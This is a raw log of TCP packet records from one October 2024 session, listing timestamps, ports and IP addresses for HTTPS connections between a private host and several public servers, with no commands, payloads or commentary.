Oct 29, 2024 10:47:09.341289997 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.341372013 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.341779947 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.341787100 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.374664068 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.384879112 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.446914911 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.479382992 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.479523897 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.479585886 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.479604959 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.479737997 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.479819059 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.479844093 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.479851961 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.479940891 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.479988098 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.479994059 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.480093002 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.480123043 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.480129004 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.480178118 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.490029097 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.562186003 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.562211037 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.562227964 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.562258005 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.562273026 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.562309027 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.562338114 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.562336922 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.562336922 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.562361956 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.562366962 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.562412977 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.564148903 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.564189911 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.564219952 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.564232111 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.564253092 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.564279079 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.597656965 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.597863913 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.597951889 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.598011017 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.598023891 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.598071098 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.598077059 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.598167896 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.598220110 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.598226070 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.598563910 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.598623991 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.598629951 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.598711967 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.599358082 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.599416971 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.599422932 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.599499941 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.599549055 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.599554062 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.600169897 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.600233078 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.600239038 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.600284100 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.600290060 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.600421906 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.600475073 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.600483894 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.601067066 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.601150990 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.601162910 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.655469894 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.677922964 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.677984953 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.678016901 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.678035021 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.678061962 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.678083897 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.679708958 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.679753065 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.679783106 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.679795027 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.679825068 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.679836035 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.680835962 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.680896997 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.680928946 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.680938005 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.680969954 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.680980921 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.716851950 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.717052937 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.717123032 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.717133999 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.717223883 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.717279911 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.717287064 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.717386007 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.717433929 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.717439890 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.717629910 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.717742920 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.718322992 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.718373060 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.718427896 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.718446970 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.718477011 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.718489885 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.720679998 CET	49753	443	192.168.2.4	104.17.25.14
Oct 29, 2024 10:47:09.720698118 CET	443	49753	104.17.25.14	192.168.2.4
Oct 29, 2024 10:47:09.793550968 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.793584108 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.793629885 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.793648958 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.793669939 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.793688059 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.794176102 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.794193983 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.794245005 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.794255972 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.794275045 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.794298887 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.795727015 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.795759916 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.795788050 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.795794964 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.795830965 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.795844078 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.796792984 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.796811104 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.796850920 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.796859026 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.796885967 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.796909094 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.797712088 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.797729015 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.797785044 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.797795057 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.798007965 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.798712015 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.798731089 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.798765898 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.798774004 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.798804998 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.798839092 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.833794117 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.833818913 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.833894014 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.833921909 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.834064007 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.908294916 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.908350945 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.908374071 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.908386946 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.908427000 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.908442974 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.909081936 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.909127951 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.909148932 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.909157991 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.909184933 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.909199953 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.909740925 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.909785032 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.909801006 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.909810066 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.909835100 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.909846067 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.909883022 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.909940004 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.909948111 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.909986019 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.910079956 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.910170078 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.910237074 CET	49752	443	192.168.2.4	151.101.66.137
Oct 29, 2024 10:47:09.910253048 CET	443	49752	151.101.66.137	192.168.2.4
Oct 29, 2024 10:47:09.978270054 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.994895935 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.994930983 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.996042013 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.996112108 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.997706890 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.997777939 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:09.998042107 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:09.998056889 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:10.045825958 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:10.276536942 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:10.276627064 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:10.276827097 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:10.277535915 CET	49754	443	192.168.2.4	188.114.97.3
Oct 29, 2024 10:47:10.277554035 CET	443	49754	188.114.97.3	192.168.2.4
Oct 29, 2024 10:47:10.291970015 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:10.292074919 CET	443	49755	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:10.292294979 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:10.292515993 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:10.292551041 CET	443	49755	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:10.311861038 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:10.311903954 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:10.312117100 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:10.312271118 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:10.312288046 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:10.901599884 CET	443	49755	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:10.924401999 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:10.943403959 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:10.979595900 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.110704899 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.110718966 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.110794067 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.110811949 CET	443	49755	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.112499952 CET	443	49755	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.112588882 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.112591028 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.112615108 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.112693071 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.114651918 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.114669085 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.114717007 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.114742994 CET	443	49755	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.114958048 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.114972115 CET	49755	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.114995003 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.115075111 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.116362095 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.116466045 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.116616964 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.116633892 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.116941929 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.116957903 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.159342051 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.753525019 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.753839016 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.753873110 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.755331039 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.755410910 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.757539988 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.757615089 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.757738113 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.757747889 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:11.788808107 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.788863897 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.788892984 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.788916111 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.788938999 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.788969040 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.788984060 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.789026022 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.789051056 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.789079905 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.789091110 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.789103031 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.789119959 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.789351940 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.789401054 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.789410114 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.800499916 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:11.842664957 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.904258966 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.904314041 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.904340982 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.904390097 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.904407024 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.904448032 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.904474020 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.904489994 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.904500008 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.904515028 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.905045986 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905102015 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.905111074 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905447006 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905491114 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905522108 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905522108 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.905533075 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905570984 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905599117 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.905611038 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905611038 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.905621052 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.905657053 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.906419992 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.906456947 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.906481981 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.906503916 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.906512976 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.906582117 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.907253981 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.907299042 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.907392025 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:11.907401085 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:11.953454018 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.019292116 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.019509077 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.019589901 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.019607067 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.019685030 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.019743919 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.019752026 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020211935 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020278931 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.020287991 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020306110 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020349979 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.020358086 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020750046 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020814896 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.020833015 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020854950 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020876884 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.020889044 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020930052 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.020947933 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.020996094 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.021697998 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.021764994 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.021790028 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.021848917 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.022651911 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.022716045 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.023474932 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.023533106 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.023570061 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.023623943 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.024358988 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.024446964 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.024461031 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.024514914 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.024543047 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.024594069 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.025228024 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.025285006 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.025319099 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.025376081 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.025408030 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.036771059 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:12.036915064 CET	443	49757	188.114.96.3	192.168.2.4
Oct 29, 2024 10:47:12.036998034 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:12.044486046 CET	49757	443	192.168.2.4	188.114.96.3
Oct 29, 2024 10:47:12.044534922 CET	443	49757	188.114.96.3	192.168.2.4
